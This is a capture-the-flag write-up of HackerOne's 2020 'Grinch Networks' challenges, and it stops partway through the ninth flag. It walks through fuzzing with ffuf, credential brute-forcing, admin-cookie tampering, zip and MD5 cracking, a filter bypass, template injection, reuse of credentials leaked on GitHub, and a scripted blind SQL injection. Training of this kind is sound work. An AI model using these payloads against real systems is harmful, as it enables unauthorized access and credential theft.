Hacking Grinch Networks - H1-CTF 2020
The theme of this h1-CTF was very interesting, they tried to mimic a fake company called GRINCH-NETWORKS.
GRINCH-NETWORKS is a new Company rolling 1 new feature on their website each day. We as hackers aim to penetrate each feature they release and find the flag as Proof of Concept(POC) that the feature has bugs in it.
The challenge were very interesting ranging from recon, osint to advance exploit chains. My writeup for all the flags is listed below in the order 1 to 12
The Beginning: Flag-1
H1-CTF started with the following tweet
1
The Grinch has gone hi-tech this year with the intention of ruining the holidays Face screaming in fearWe need you to infiltrate his network and take him down
The scope of attack surface was very clearly mentioned at https://hackerone.com/h1-ctf Hacker page. This reveals the web assets in scope for GRINCH-NETWORKS are:
It was day-1, there weren’t any features/apps released yet. We are expecting the flag-1 hidden somewhere on the website. I tried to brute force directories and files on https://hackyholidays.h1ctf.com/ using ffuf:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
>> sapra@Macbook-Pro $ ffuf -u "https://hackyholidays.h1ctf.com/FUZZ" -D -e html -w ~/Desktop/directorylist.txt -ac
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
________________________________________________
:: Method : GET
:: Extensions : html
:: Calibration : true
:: Matcher : Response status: 200,204,301,302,307,401,403
________________________________________________
robots.txt [Status: 200, Size: 85, Words: 4, Lines: 3]
apps [Status: 200, Size: 5312, Words: 1368, Lines: 90]
On visiting https://hackyholidays.h1ctf.com/robots.txt we will be greeted with our first flag and it also leaks path to our next flag.
1
2
3
4
5
6
7
8
9
10
$ curl "https://hackyholidays.h1ctf.com/robots.txt" -v
< HTTP/1.1 200 OK
< Server: nginx/1.18.0 (Ubuntu)
< Content-Type: text/plain
< Accept-Ranges: bytes
<
User-agent: *
Disallow: /s3cr3t-ar3a
Flag: flag{48104912-28b0-494a-9995-a203d1e261e7}* Closing connection 0
Flag-1 : flag{48104912-28b0-494a-9995-a203d1e261e7}
Secret-Area : Flag-2
There was no description for this challenge but it was just a continuation of the 1st challenge.
We can notice that apart from FLAG-1 in https://hackyholidays.h1ctf.com/robots.txt we also have a secret path in it which is /s3cr3t-ar3a
, so FLAG-2 should be somewhere here.
Being challenge-2 this should also be something easy, after trying to look for the flag and fuzzing sub-directories under /s3cr3t-ar3a/
we can find the flag in the page source. POC:
- Visit https://hackyholidays.h1ctf.com/s3cr3t-ar3a in browser
- Open
INSPECT ELEMENT
by pressingF12
on windows orCommand+Option+i
on Mac - Search for word
flag
in HTML and there is flag in one of the div (see the picture below)
FLAG-2 flag{b7ebcb75-9100-4f91-8454-cfb9574459f7}
BONUS: This was good enough for me to move on to the next challenge but there’s a caveat. Doing a
curl https://hackyholidays.h1ctf.com/ | grep flag
didn’t reveal the flag but it’s only visible in the browser after doingINSPECT-ELEMENT
. This means it’s being dynamically inserted into the webpage by some JAVASCRIPT. Out of curiosity I thought of looking where this script is and it was inside the JQuery library athttps://hackyholidays.h1ctf.com/assets/js/jquery.min.js
.
1
2
3
4
5
6
7
8
9
10
11
var h1_0 = 'la'
, h1_1 = '}'
, h1_2 = ''
, h1_3 = 'f'
, h1_4 = 'g'
, h1_5 = '{b7ebcb75'
, h1_6 = '8454-'
, h1_7 = 'cfb9574459f7'
, h1_8 = '-9100-4f91-';
document.getElementById('alertbox').setAttribute('data-info', h1_2 + h1_3 + h1_0 + h1_4 + h1_2 + h1_5 + h1_8 + h1_6 + h1_7 + h1_1);
Always good to satisfy your PTSD :smile: .. Moving on
People-Rater : FLAG-3
Description:
1
2
3
The grinch likes to keep lists of all the people he hates. This year he's gone digital but there might be a record that doesn't belong!
Challenge-Url: https://hackyholidays.h1ctf.com/people-rater
Understanding the Web-App
This was a simple web app that hits an API endpoint to get a list of users in a paginated manner. So
- https://hackyholidays.h1ctf.com/people-rater/page/1 ->
first 5 users
- https://hackyholidays.h1ctf.com/people-rater/page/2 ->
users 5-10
…
Next, there is an API https://hackyholidays.h1ctf.com/people-rater/entry?id=eyJpZCI6OH0= to get information about the user provided by parameter id
. (id is base64 encoded JSON of {“id”:8} )
So the first step would be to enumerate information about each user.
Solution
I wrote a simple bash script to enumerate all users from id 1 to 20. Basically do a curl request for each userId from id [1-20] and print the result
1
2
3
4
5
6
7
8
9
10
11
12
13
>> sapra@MacBook-Pro ~ % for i in $(seq 1 20)
do
x=`echo {\"id\":${i}} | base64`
echo "------------------------"
echo -n "> UserInfo for ID=${i} -> "
curl "https://hackyholidays.h1ctf.com/people-rater/entry?id=${x}";
echo "\n";
done
------------------------
> UserInfo for ID=1 -> {"id":"eyJpZCI6MX0=","name":"The Grinch","rating":"Amazing in every possible way!","flag":"flag{b705fb11-fb55-442f-847f-0931be82ed9a}"}
> UserInfo for ID=2 -> {"id":"eyJpZCI6Mn0=","name":"Tea Avery","rating":"Awful"}
...
user information of userId=1 https://hackyholidays.h1ctf.com/people-rater/entry?id=eyJpZCI6MX0= contains flag
FLAG-3: flag{b705fb11-fb55-442f-847f-0931be82ed9a}
Swag-Shop : FLAG-4
Description:
1
2
3
Get your Grinch Merch! Try and find a way to pull the Grinch's personal details from the online shop.
Challenge-URL: https://hackyholidays.h1ctf.com/swag-shop
Understanding the Web-App
There was not much functionality to the app. We only have a login endpoint https://hackyholidays.h1ctf.com/swag-shop/api/login and nothing else. Trying to log in with common usernames/passwords didn’t work so brute-forcing credentials would be the last step.
The next immediate thing to do is recon. Look for hidden directories under https://hackyholidays.h1ctf.com/swag-shop
Fuzzing/Recon
Run ffuz under https://hackyholidays.h1ctf.com/swag-shop/FUZZ
for finding hidden directories.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
>> sapra@MacBook-Pro ~ % ffuf -u https://hackyholidays.h1ctf.com/swag-shop/api/FUZZ -fc 404 -w ~/Desktop/hacking/wordlist/apiendpoints.txt
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
________________________________________________
:: Method : GET
:: URL : https://hackyholidays.h1ctf.com/swag-shop/api/FUZZ
________________________________________________
sessions [Status: 200, Size: 2194, Words: 1, Lines: 1]
user [Status: 400, Size: 13, Words: 1, Lines: 1]
:: Progress: [3219/3219] :: Job [1/1] :: 111 req/sec :: Errors: 0 ::
Great, we find 2 interesting directories.
- /sessions
- This was open API which printed a list of all the login sessions that were logged in
- Decoding base64 of each session we find bunch of
cookie
and 1 user-idC7DCCE-0E0DAB-B20226-FC92EA-1B9043
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
var sessions=[ "eyJ1c2VyIjpudWxsLCJjb29raWUiOiJZelZtTlRKaVlUTmtPV0ZsWVRZMllqQTFaVFkxTkRCbE5tSTBZbVpqTW1ObVpHWXpNemcxTVdKa1pEY3lNelkwWlRGbFlqZG1ORFkzTkRrek56SXdNR05pWmpOaE1qUTNZMlJtWTJFMk4yRm1NemRqTTJJMFpXTmxaVFZrTTJWa056VTNNVFV3WWpka1l6a3lOV0k0WTJJM1pXWmlOamsyTjJOak9UazBNalU9In0=", "eyJ1c2VyIjpudWxsLCJjb29raWUiOiJaak0yTXpOak0ySmtaR1V5TXpWbU1tWTJaamN4TmpkbE5ETm1aalF3WlRsbVkyUmhOall4TldNNVkyWTFaalkyT0RVM05qa3hNVFEyTnprMFptSXhPV1poTjJaaFpqZzBZMkU1TnprMU5UUTJNek16WlRjME1XSmxNelZoWkRBME1EVXdZbVEzTkRsbVpURTRNbU5rTWpNeE16VTBNV1JsTVRKaE5XWXpPR1E9In0=", "eyJ1c2VyIjoiQzdEQ0NFLTBFMERBQi1CMjAyMjYtRkM5MkVBLTFCOTA0MyIsImNvb2tpZSI6Ik5EVTBPREk1TW1ZM1pEWTJNalJpTVdFME1tWTNOR1F4TVdFME9ETXhNemcyTUdFMVlXUmhNVGMwWWpoa1lXRTNNelUxTWpaak5EZzVNRFEyWTJKaFlqWTNZVEZoWTJRM1lqQm1ZVGs0TjJRNVpXUTVNV1E1T1dGa05XRTJNakl5Wm1aak16WmpNRFEzT0RrNVptSTRaalpqT1dVME9HSmhNakl3Tm1Wa01UWT0ifQ==", "eyJ1c2VyIjpudWxsLCJjb29raWUiOiJNRFJtWVRCaE4yRmlOalk1TUdGbE9XRm1ZVEU0WmpFMk4ySmpabVl6WldKa09UUmxPR1l3TWpJMU9HSXlOak0xT0RVME5qYzJZVGRsWlRNNE16RmlNMkkxTVRVek16VmlNakZoWXpWa01UYzRPREUzT0dNNFkySmxPVGs0TWpKbE1ESTJZalF6WkRReE1HTm1OVGcxT0RReFpqQm1PREJtWldReFptRTFZbUU9In0=", "eyJ1c2VyIjpudWxsLCJjb29raWUiOiJNMlEyTURJek5EZzVNV0UwTjJNM05ESm1OVEl5TkdNM05XVXhZV1EwTkRSbFpXSTNNVGc0TWpJM1pHUmtNVGxsWlRNMlpEa3hNR1ZsTldFd05tWmlaV0ZrWmpaaE9EZzRNRFkzT0RsbVpHUmhZVE0xWTJJeU1HVmhNakExTmpkaU5ERmpZekJoTVdRNE5EVTFNRGM0TkRFMVltSTVZVEpqT0RCa01qRm1OMlk9In0=", "eyJ1c2VyIjpudWxsLCJjb29raWUiOiJNV1kzTVRBek1UQmpaR1k0WkdNd1lqSTNaamsyWm1Zek1XSmxNV0V5WlRnMVl6RTBNbVpsWmpNd1ltSmpabVE0WlRVMFkyWXhZelZtWlRNMU4yUTFPRFkyWWpGa1ptRmlObUk1WmpJMU0yTTJNRFZpTmpBMFpqRmpORFZrTlRRNE4yVTJPRGRpTlRKbE1tRmlNVEV4T0RBNE1qVTJNemt4WldOaE5qRmtObVU9In0=", "eyJ1c2VyIjpudWxsLCJjb29raWUiOiJNRE00WXpoaU4yUTNNbVkwWWpVMk0yRmtabUZsTkRNd01USTVNakV5T0RobE5HRmtNbUk1T1RjeU1EbGtOVEpoWlRjNFlqVXhaakl6TjJRNE5tUmpOamcyTm1VMU16VmxPV0V6T1RFNU5XWXlPVGN3Tm1KbFpESXlORGd5TVRBNVpEQTFPVGxpTVRZeU5EY3pOakZrWm1VME1UZ3hZV0V3TURVMVpXTmhOelE9In0=", "eyJ1c2VyIjpudWxsLCJjb29raWUiOiJPR0kzTjJFeE9HVmpOek0xWldWbU5UazJaak5rWmpJd00yWmpZemRqTVdOaE9EZzRORGhoT0RSbU5qSTBORFJqWlRkbFpUZzBaVFV3TnpabVpEZGtZVEpqTjJJeU9EWTVZamN4Wm1JNVpHUmlZVGd6WmpoaVpEVmlPV1pqTVRWbFpEZ3pNVEJrTnpObU9ESTBPVE01WkRNM1kySmpabVk0TnpFeU9HRTNOVE09In0=" ].map(session => atob(session)) console.log(sessions) 0: {user: null, cookie: "YzVmNTJiYTNkOWFlYTY2YjA1ZTY1NDBlNmI0YmZjMmNmZGYzMz…kM2VkNzU3MTUwYjdkYzkyNWI4Y2I3ZWZiNjk2N2NjOTk0MjU="} 1: {user: null, cookie: "ZjM2MzNjM2JkZGUyMzVmMmY2ZjcxNjdlNDNmZjQwZTlmY2RhNj…hZDA0MDUwYmQ3NDlmZTE4MmNkMjMxMzU0MWRlMTJhNWYzOGQ="} 2: {user: "C7DCCE-0E0DAB-B20226-FC92EA-1B9043", cookie: "NDU0ODI5MmY3ZDY2MjRiMWE0MmY3NGQxMWE0ODMxMzg2MGE1YW…2MjIyZmZjMzZjMDQ3ODk5ZmI4ZjZjOWU0OGJhMjIwNmVkMTY="} 3: {user: null, cookie: "MDRmYTBhN2FiNjY5MGFlOWFmYTE4ZjE2N2JjZmYzZWJkOTRlOG…4MjJlMDI2YjQzZDQxMGNmNTg1ODQxZjBmODBmZWQxZmE1YmE="} 4: {user: null, cookie: "M2Q2MDIzNDg5MWE0N2M3NDJmNTIyNGM3NWUxYWQ0NDRlZWI3MT…1NjdiNDFjYzBhMWQ4NDU1MDc4NDE1YmI5YTJjODBkMjFmN2Y="} 5: {user: null, cookie: "MWY3MTAzMTBjZGY4ZGMwYjI3Zjk2ZmYzMWJlMWEyZTg1YzE0Mm…kNTQ4N2U2ODdiNTJlMmFiMTExODA4MjU2MzkxZWNhNjFkNmU="} 6: {user: null, cookie: "MDM4YzhiN2Q3MmY0YjU2M2FkZmFlNDMwMTI5MjEyODhlNGFkMm…yMTA5ZDA1OTliMTYyNDczNjFkZmU0MTgxYWEwMDU1ZWNhNzQ="} 7: {user: null, cookie: "OGI3N2ExOGVjNzM1ZWVmNTk2ZjNkZjIwM2ZjYzdjMWNhODg4ND…jMTVlZDgzMTBkNzNmODI0OTM5ZDM3Y2JjZmY4NzEyOGE3NTM="}
- This was open API which printed a list of all the login sessions that were logged in
- /user
- This API sent response code 400 with data
{"error":"Missing required fields"}
. We will need to fuzz this further for HTTP PARAMETER’s. - Here we have a parameter missing so we will fuzz to guess the parameter now
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
>> sapra@MacBook-Pro $ ffuf -u "https://hackyholidays.h1ctf.com/swag-shop/api/user/?FUZZ=1" -w ~/Desktop/parameters.txt -fs 35 -mc all /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v1.2.0-git ________________________________________________ :: Method : GET :: URL : https://hackyholidays.h1ctf.com/swag-shop/api/user/?FUZZ=1 :: Matcher : Response status: all :: Filter : Response size: 35 ________________________________________________ uuid [Status: 404, Size: 40, Words: 5, Lines: 1]
- We have a parameter hit for
uuid
.
- This API sent response code 400 with data
Solution
After finishing the recon we have an endpoint /session
exposing some cookies and 1 user uuid and an endpoint /user
which takes uuid as a parameter. Hitting /user
endpoint with uuid from /session we will get the flag
1
2
3
4
>> sapra@MacBook-Pro ~ % curl "https://hackyholidays.h1ctf.com/swag-shop/api/user/?uuid=C7DCCE-0E0DAB-B20226-FC92EA-1B9043"
{"uuid":"C7DCCE-0E0DAB-B20226-FC92EA-1B9043","username":"grinch","address":{"line_1":"The Grinch","line_2":"The Cave","line_3":"Mount Crumpit","line_4":"Whoville"},"flag":"flag{972e7072-b1b6-4bf7-b825-a912d3fd38d6}"}
FLAG-4: flag{972e7072-b1b6-4bf7-b825-a912d3fd38d6}
Secure-Login : FLAG-5
Description:
1
2
3
Try and find a way past the login page to get to the secret area.
Challenge-Url: https://hackyholidays.h1ctf.com/secure-login
Understanding the Web-App
There is not much functionality in the application. We are presented with a login Form and the description asks us to bypass it. The first few thoughts would be SQL-injection or something.
When trying to log-in with basic SQL-injection in username and password 1' or '1'='1
, if we pay have attention to details, the error returned back is Invalid Username
, Simply said, there is a way to enumerate username with this error message. So a correct username would say something like Invalid password
.
With this knowledge, it means we can enumerate username
and password
. If this doesn’t work, we can go back to recon and search for hidden directories.
Solution
We can use ffuf
to brute force username and validate our theory.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
>> sapra@MacBook ~ % fff -u "https://hackyholidays.h1ctf.com/secure-login" -X POST -d 'username=FUZZ&password=?' -w ~/Desktop/users.txt -H "Content-Type: application/x-www-form-urlencoded" -fr "Invalid Usern"
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.2.0-git
________________________________________________
:: Method : POST
:: URL : https://hackyholidays.h1ctf.com/secure-login
:: Header : Content-Type: application/x-www-form-urlencoded
:: Data : username=FUZZ&password=?
:: Filter : Regexp: Invalid Usern
________________________________________________
access [Status: 200, Size: 1724, Words: 464, Lines: 37]
Ok, great we were able to find a valid username access
. Now we can do the same for password.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
>> sapra@MacBook ~ % fff -u "https://hackyholidays.h1ctf.com/secure-login" -X POST -d 'username=access&password=FUZZ' -w ~/Desktop/passwords.txt -H "Content-Type: application/x-www-form-urlencoded" -ac
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.2.0-git
________________________________________________
:: Method : POST
:: URL : https://hackyholidays.h1ctf.com/secure-login
:: Data : username=access&password=FUZZ
________________________________________________
computer [Status: 302, Size: 0, Words: 1, Lines: 1]
Login to https://hackyholidays.h1ctf.com/secure-login using credentials username=access
and password=computer
.
We can notice logging in sets the cookie securelogin=eyJjb29raWUiOiIxYjVlNWYyYzlkNThhMzBhZjRlMTZhNzFhNDVkMDE3MiIsImFkbWluIjpmYWxzZX0=
and we are logged in as non admin user.
Base64 decode the cookie
1
2
3
>> sapra@MacBook-Pro % echo eyJjb29raWUiOiIxYjVlNWYyYzlkNThhMzBhZjRlMTZhNzFhNDVkMDE3MiIsImFkbWluIjpmYWxzZX0= | base64 -D
{"cookie":"1b5e5f2c9d58a30af4e16a71a45d0172","admin":false}
set the “admin” value to true
and base64 encode and send it back. It should log us in as admin user.
1
2
3
>> sapra@Macbook-Pro % echo '{"cookie":"1b5e5f2c9d58a30af4e16a71a45d0172","admin":true}' | base64
eyJjb29raWUiOiIxYjVlNWYyYzlkNThhMzBhZjRlMTZhNzFhNDVkMDE3MiIsImFkbWluIjp0cnVlfQo=
We are able to log in as admin, but hey challenge ain’t over yet :P.
Download the zip file https://hackyholidays.h1ctf.com/my_secure_files_not_for_you.zip, We now have a password protected zip file. We can use john-the-ripper tool to crack the zip file password.
1
2
3
4
5
>> root@box:/ctf $ wget https://hackyholidays.h1ctf.com/my_secure_files_not_for_you.zip -O flag.zip
>> root@box:/ctf $ ./JohnTheRipper/run/zip2john flag.zip > flag.hash
>> root@box:/ctf $ ./JohnTheRipper/run/john flag.hash --show
<< flag.zip:hahahaha::flag.zip:flag.txt, xxx.png:flag.zip
ZIP’s password is hahahaha
. We can now decrypt the zip and it will output a flag.txt file which has the flag
1
2
3
4
5
6
7
>> root@32ee62bd0d46:/ctf# unzip -P "hahahaha" flag.zip
Archive: flag.zip
inflating: xxx.png
extracting: flag.txt
>> root@32ee62bd0d46:/ctf# cat flag.txt
flag{2e6f9bf8-fdbd-483b-8c18-bdf371b2b004}
FLAG-5: flag{2e6f9bf8-fdbd-483b-8c18-bdf371b2b004}
My-Diary: FLAG 6
Description:
1
2
3
Hackers! It looks like the Grinch has released his Diary on Grinch Networks. We know he has an upcoming event but he hasn't posted it on his calendar. Can you hack his diary and find out what it is?
Challenge-URL: https://hackyholidays.h1ctf.com/my-diary
Understanding the Web-App
Opening the Challenge URL we are redirected to https://hackyholidays.h1ctf.com/my-diary/?template=entries.html . Apart from the parameter template=entries.html
the application has no other LINK or functionality.
Fuzzing
Let’s start by fuzzing the parameter template
in https://hackyholidays.h1ctf.com/my-diary/?template=FUZZ
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
>> sapra@MacBook-Pro ~ % fff -u "https://hackyholidays.h1ctf.com/my-diary/?template=FUZZ" -w ~/Desktop/directories.txt -ac
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
________________________________________________
:: Method : GET
:: URL : https://hackyholidays.h1ctf.com/my-diary/?template=FUZZ
:: Matcher : Response status: 200,204,301,302,307,401,403
:: Filter : Response words: 1
________________________________________________
index.php [Status: 200, Size: 689, Words: 126, Lines: 22]
And we have a parameter hit index.php
which leaks the source code of the app.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
index.php
<?php
if( isset($_GET["template"]) ){
$page = $_GET["template"];
//remove non allowed characters
$page = preg_replace('/([^a-zA-Z0-9.])/','',$page);
//protect admin.php from being read
$page = str_replace("admin.php","",$page);
//I've changed the admin file to secretadmin.php for more security!
$page = str_replace("secretadmin.php","",$page);
//check file exists
if( file_exists($page) ){
echo file_get_contents($page);
}else{
//redirect to home
header("Location: /my-diary/?template=entries.html");
exit();
}
}else{
//redirect to home
header("Location: /my-diary/?template=entries.html");
exit();
}
Solution
The source code is pretty straight forward. The goal is to get the contents of secretadmin.php by opening it as https://hackyholidays.h1ctf.com/my-diary/?template=secretadmin.php
.
The problem is that the word secretadmin.php
and admin.php
are deleted from the user input template. Example of how str_replace
works
$output = str_replace('admin.php', $userinput);
- when
$userinput = "admin.php"
then =>$output=""
- when
$userinput= "adadmin.phpmin.php"
then =>$output="admin.php"
- when
str_replace() will delete admin.php
from the input and leftover in this case will be admin.php
(adadmin.phpmin.php = admin.php
) as str_replace does not recursively delete the word from the input. Using this knowledge we can use the following payload to open secretadmin.php
.
POC:
- Visit https://hackyholidays.h1ctf.com/my-diary/?template=secsecretadmadmin.phpin.phpretadmadmin.phpin.php
- After deleting
admin.php
andsecretadmadmin.php
fromsecsecretadmadmin.phpin.phpretadmadmin.phpin.php
we will be left withsecretadmadmin.php
.
1
2
3
>> sapra@MacBook-Pro ~ % curl "https://hackyholidays.h1ctf.com/my-diary/?template=secsecretadmadmin.phpin.phpretadmadmin.phpin.php" | grep flag
<h4 class="text-center">flag{18b130a7-3a79-4c70-b73b-7f23fa95d395}</h4>
FLAG-6: flag{18b130a7-3a79-4c70-b73b-7f23fa95d395}
Hate-Mail-Generator: Flag-7
Description:
1
2
3
Sending letters is so slow! Now the grinch sends his hate mail by email campaigns! Try and find the hidden flag!
Challenge-URL: https://hackyholidays.h1ctf.com/hate-mail-generator
Understanding the web-app
The web application allows us to create Email templates to send to users. Without login, a user can only create an email template and preview
how it will look but not save it.
TL;DR We as user can create a temporary email template and preview
it. Templates are generally a good candidate for template-injection in which we can abuse variables of the template to perform malicious activity.
Therefore, we first need to know what malicious activity we should perform, in short find where the flag is, and use template injection to get the flag.
Fuzzing/Recon
We need to find the flag location first. We can definitely run ffuf
but I prefer to manually understand the app structure first.
We are provided with a demo email template for reference under Guess what
Campaign at https://hackyholidays.h1ctf.com/hate-mail-generator/91d45040151b681549d82d8065d43030 with following content follows:
1
{ {template:cbdj3_grinch_header.html}} Hi2 { {name}}..... Guess what..... <strong>YOU SUCK!</strong>{ {template:cbdj3_grinch_footer.html}}
This cbdj3_grinch_header.html
must be under some directory/file path. The first thing that comes to mind is to maybe include an incorrect HTML file, and hopefully produce some error. So let’s try to create a template with a random file path in search of an error that probably leaks the file path.
Create a new template with the following data and preview it :
- Go to https://hackyholidays.h1ctf.com/hate-mail-generator/new to create a new template
- Fill the fields as shown in below..(Markup =
template:random_random.html
) - Press on preview and we will get the error:
Cannot find template file /templates/random_random.html
Great we have a folder templates
. Visit https://hackyholidays.h1ctf.com/hate-mail-generator/templates/ and directory listing is ON. we can find the admin user template at 38dhs_admins_only_header.html
, Obviously, we cant open it directly or using { {template:38dhs_admins_only_header.html}}
as its blocked. Let’s use the power of template-injection to bypass this filter.
Solution
So now we know we have to use template injection to include the file 38dhs_admins_only_header.html
. The endpoint to preview
a new template is as follows:
Observation:
- The parameter
preview_data
is substituted intopreview_markup
. - Sending
preview_markup={ {template:38dhs_admins_only_header.html}}&preview_data={}
is blocked.
We can send the following request to retrieve the flag. preview_markup
parameter does not contain { {template:38dhs_admins_only_header.html}}
initially but after substituting preview_data
into preview_data
it does.
1
preview_markup={ {name}}&preview_data={"name":"{ {template:38dhs_admins_only_header.html}}"}
Flag-7: flag{5bee8cf2-acf2-4a08-a35f-b48d5e979fdd}
Forum : Flag-8
Description:
1
2
3
The Grinch thought it might be a good idea to start a forum but nobody really wants to chat to him. He keeps his best posts in the Admin section but you'll need a valid login to access that!
Challenge-URL: https://hackyholidays.h1ctf.com/forum
Understanding the web-app
It was a blogging app with few public blogs and admin’s only private blogs. The end goal seems to read Admin’s post which might contain the flag. Few things that come directly to mind is IDOR to fuzz and get Admin’s blog ID but the authorization was handled properly.
So the only thing I can think now is to get into the admin’s account.
Fuzzing/Recon
- So the first obvious thing is to try default username/password and SQL/NoSQL injection at https://hackyholidays.h1ctf.com/forum/login but it didn’t work.
- Directory brute forcing on https://hackyholidays.h1ctf.com/forum/ gives
phpmyadmin
(Interesting but we don’t have its creds)
- Fuzzed for zipped SQL file
db.zip
,sql.zip
etc. got no hit. - swap files
/.index.php.swp
,/.index.swp
etc. got no hit. …
After fuzzing everything within the website I can’t find any credentials. It was time to look elsewhere and do some real recon.
My recon process includes
- Finding keywords
- grinchnetworks (company name)
- hackyholidays.h1ctf.com (domain name)
- hackyholidays (sub-domain)
- Image Logo is https://hackyholidays.h1ctf.com/assets/images/grinch-networks.png. Add
grinch-networks
to keywords dict. - Use CeWl to find keywords from scraping webpage …
- Use following resources to search the keywords found in step-1
- GitHub
- webarchieve - Cached web pages
- shodan
- S3 bucket brute-forcing.
- Google Hacking
- certificates
- https://storage.googleapis.com/[keyword] …
After trying the above recon tricks, I found a open github repo for this challenge after searching for word grinch-networks
on github https://github.com/Grinch-Networks/forum
Before downloading the blog itself, it’s always always a good idea to check for older commits because usually, they can contain admin removing credentials from uploaded code OR
fixing a bug. In our case, we can see that the 3rd commit https://github.com/Grinch-Networks/forum/commit/efb92ef3f561a957caad68fca2d6f8466c4d04ae was removing the Database credentials from the code.
Now we have database credentials: user: forum
, pass: 6HgeAZ0qC9T6CQIqJpD
and our fuzzing did show there was phpmyadmin. We can successfully login with these credentials at https://hackyholidays.h1ctf.com/forum/phpmyadmin .
User table in phpmyadmin contains 2 user
- user=grinch , passwordHash=35D652126CA1706B59DB02C93E0C9FBF, admin=1
- user=max, passwordHash=388E015BC43980947FCE0E5DB16481D1, admin=0
passwordHash is 32 characters long meaning it’s md5
. Go to https://crackstation.net/ and paste the admin’s hash 35D652126CA1706B59DB02C93E0C9FBF
there and it will crack it for us.
The cracked hash is BahHumbug
.
Log into https://hackyholidays.h1ctf.com/forum/login with user grinch
and password BahHumbug
. We will be logged in as admin.
Visit admin’s secret post at https://hackyholidays.h1ctf.com/forum/3/2 and get the flag.
FLAG-8: flag{677db3a0-f9e9-4e7e-9ad7-a9f23e47db8b}
Evil-Quiz : Flag-9
Description:
1
2
3
Just how evil are you? Take the quiz and see! Just don't go poking around the admin area!
Challenge-URL: https://hackyholidays.h1ctf.com/evil-quiz
Understanding the web-app
There is an admin login section to the app at https://hackyholidays.h1ctf.com/evil-quiz/admin.
Also, there’s a quiz section where we can play a simple quiz as follows:
- Create a user to play the quiz at https://hackyholidays.h1ctf.com/evil-quiz/
- After creating a user we are redirected to https://hackyholidays.h1ctf.com/evil-quiz/start. This page has certain quiz questions to fill and submit.
- Submitting the answers to question redirect us to
score
page at https://hackyholidays.h1ctf.com/evil-quiz/score showing how many questions we got correct
We have 2 places where the app takes user input
- username : when starting the quiz
- quiz-answers : multiple choice answers to questions asked in step 2
Trying basic SQL-injection payload in the username field, we can find that username
field is vulnerable to 2nd order SQL-injection. Let’s POC first.
- create user with name
1' or '1'='
on https://hackyholidays.h1ctf.com/evil-quiz/ - Goto
score
page(https://hackyholidays.h1ctf.com/evil-quiz/score), we will see:There is 1212112 other player(s) with the same name as you!
This confirms we have 2nd order injection because the pyload made condition true for all the currently registered users. We can mimic the above behavior with python script so that we don’t have to do it manually.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import requests
s = requests.Session()
URL = "https://hackyholidays.h1ctf.com"
SET_USERNAME_URL = URL + "/evil-quiz"
TAKE_QUIZ_URL = URL + "/evil-quiz/start"
SCORE_URL = URL + "/evil-quiz/score"
def get_session():
s.get(SET_USERNAME_URL, allow_redirects=False)
r = s.post(SET_USERNAME_URL, data={"name":"test-get-session"}, allow_redirects=False)
s.post(TAKE_QUIZ_URL, data={"ques_1":0,"ques_2":"0","ques_3":0}, allow_redirects=False)
s.get(SCORE_URL,allow_redirects=False)
print "[+] Session successfully created ", r.headers["Set-Cookie"]
def sqli(username):
s.post(SET_USERNAME_URL, data={"name":username}, allow_redirects=False)
r = s.get(SCORE_URL)
data = re.search("There is (.*) othe", r.text)
if data:
print data.group(1)
return data.group(1)
else:
print "ERROR nothing found", r.text
get_session() # Play game once to get user session (Cookie: session)
res = sqli("1' or '1' = '1") # Try sqli and print the numbers matching query.
### res = 0 means injection is false or Un-successful. Any other value means true ###
Solution
After confirming the injection, Our end goal is to leak the admin credentials from the database.
solver-h1-ctf-flag-9.py is the python script to automate the complete sql-injection and leak the admin credentials. It has detailed comments about every step of attack.
TL;DR on how the injection works:
- database name =>
quiz
- username =
1' or database() = 'quiz'#
will return true.
- username =
- Table-1 =>
admin
, Table-2 =quiz
- username =
1' OR (SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1) like 'admin'#
returns true - username =
1' OR (SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 1,1) like 'quiz'#
returns true
- username =
- columns of table admin =>
id
,username
andpassword
- username =
1' OR (select column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1) like 'id'#
leaks column-1 = ‘id’ - username =
